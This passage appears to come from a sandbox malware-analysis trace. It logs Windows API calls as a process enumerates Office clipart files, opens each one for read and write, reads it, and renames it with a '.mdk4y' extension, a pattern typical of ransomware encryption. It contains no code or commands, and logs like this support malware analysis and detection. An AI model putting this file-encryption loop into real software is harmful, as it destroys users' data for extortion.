Office\\CLIPART\\PUB60COR\\J0099162.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.mdk4y")) returned 1 [0142.825] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.825] AreFileApisANSI () returned 1 [0142.825] GetACP () returned 0x4e4 [0142.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099163.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099163.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0142.825] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821805500000) returned 1 [0142.825] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5754, lpOverlapped=0x0) returned 1 [0142.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821809100000) returned 1 [0142.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821809100000) returned 1 [0142.862] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.mdk4y")) returned 1 [0142.862] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.862] AreFileApisANSI () returned 1 [0142.862] GetACP () returned 0x4e4 [0142.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099164.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099164.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0142.862] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.863] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821809300000) returned 1 [0142.863] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x55ba, lpOverlapped=0x0) returned 1 [0142.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821809400000) returned 1 [0142.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821809400000) returned 1 [0142.865] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.mdk4y")) returned 1 [0142.865] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.865] AreFileApisANSI () returned 1 [0142.865] GetACP () returned 0x4e4 [0142.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099165.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099165.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0142.866] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.866] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821809800000) returned 1 [0142.868] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc53a, lpOverlapped=0x0) returned 1 [0142.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821810000000) returned 1 [0142.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821810000000) returned 1 [0142.870] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.mdk4y")) returned 1 [0142.871] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.871] AreFileApisANSI () returned 1 [0142.871] GetACP () returned 0x4e4 [0142.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099166.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099166.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0142.871] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821810200000) returned 1 [0142.872] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfcff, lpOverlapped=0x0) returned 1 [0143.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821824700000) returned 1 [0143.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821824700000) returned 1 [0143.018] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.mdk4y")) returned 1 [0143.019] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.019] AreFileApisANSI () returned 1 [0143.019] GetACP () returned 0x4e4 [0143.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099167.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099167.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0143.019] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.020] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821825000000) returned 1 [0143.020] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xabad, lpOverlapped=0x0) returned 1 [0143.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821830100000) returned 1 [0143.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821830100000) returned 1 [0143.072] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.mdk4y")) returned 1 [0143.073] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.073] AreFileApisANSI () returned 1 [0143.073] GetACP () returned 0x4e4 [0143.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099168.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099168.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0143.073] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821830300000) returned 1 [0143.073] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4ed3, lpOverlapped=0x0) returned 1 [0143.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821830500000) returned 1 [0143.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821830500000) returned 1 [0143.075] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.mdk4y")) returned 1 [0143.076] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.076] AreFileApisANSI () returned 1 [0143.076] GetACP () returned 0x4e4 [0143.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099169.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099169.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.076] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.077] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821830700000) returned 1 [0143.077] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27d0, lpOverlapped=0x0) returned 1 [0143.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821838400000) returned 1 [0143.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821838400000) returned 1 [0143.154] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.mdk4y")) returned 1 [0143.155] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.155] AreFileApisANSI () returned 1 [0143.155] GetACP () returned 0x4e4 [0143.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099170.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099170.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.155] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.155] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821838500000) returned 1 [0143.155] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5ee4, lpOverlapped=0x0) returned 1 [0143.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821839700000) returned 1 [0143.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821839700000) returned 1 [0143.168] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.mdk4y")) returned 1 [0143.169] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.169] AreFileApisANSI () returned 1 [0143.169] GetACP () returned 0x4e4 [0143.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099171.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099171.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.169] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.169] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821839900000) returned 1 [0143.169] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2232, lpOverlapped=0x0) returned 1 [0143.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821845000000) returned 1 [0143.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821845000000) returned 1 [0143.220] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.mdk4y")) returned 1 [0143.222] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.222] AreFileApisANSI () returned 1 [0143.222] GetACP () returned 0x4e4 [0143.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099172.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099172.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.222] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.223] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821845300000) returned 1 [0143.223] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe392, lpOverlapped=0x0) returned 1 [0143.270] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821850000000) returned 1 [0143.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821850100000) returned 1 [0143.271] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.mdk4y")) returned 1 [0143.272] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.272] AreFileApisANSI () returned 1 [0143.272] GetACP () returned 0x4e4 [0143.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099173.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099173.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.272] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.273] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821850300000) returned 1 [0143.273] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9114, lpOverlapped=0x0) returned 1 [0143.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821861000000) returned 1 [0143.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821861000000) returned 1 [0143.381] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.mdk4y")) returned 1 [0143.382] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.382] AreFileApisANSI () returned 1 [0143.382] GetACP () returned 0x4e4 [0143.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099174.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099174.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.382] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.383] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821861300000) returned 1 [0143.383] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1846, lpOverlapped=0x0) returned 1 [0143.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821861400000) returned 1 [0143.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821861400000) returned 1 [0143.385] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.mdk4y")) returned 1 [0143.386] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.386] AreFileApisANSI () returned 1 [0143.386] GetACP () returned 0x4e4 [0143.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099175.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099175.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.386] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821861700000) returned 1 [0143.387] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2610, lpOverlapped=0x0) returned 1 [0143.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821866100000) returned 1 [0143.432] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821866200000) returned 1 [0143.432] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.mdk4y")) returned 1 [0143.433] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.433] AreFileApisANSI () returned 1 [0143.433] GetACP () returned 0x4e4 [0143.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099176.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099176.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0143.433] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0143.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821866400000) returned 1 [0143.434] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9b8, lpOverlapped=0x0) returned 1 [0143.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821878600000) returned 1 [0143.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821878600000) returned 1 [0143.557] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.mdk4y")) returned 1 [0143.557] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0143.557] AreFileApisANSI () returned 1 [0143.558] GetACP () returned 0x4e4 [0143.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099177.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, 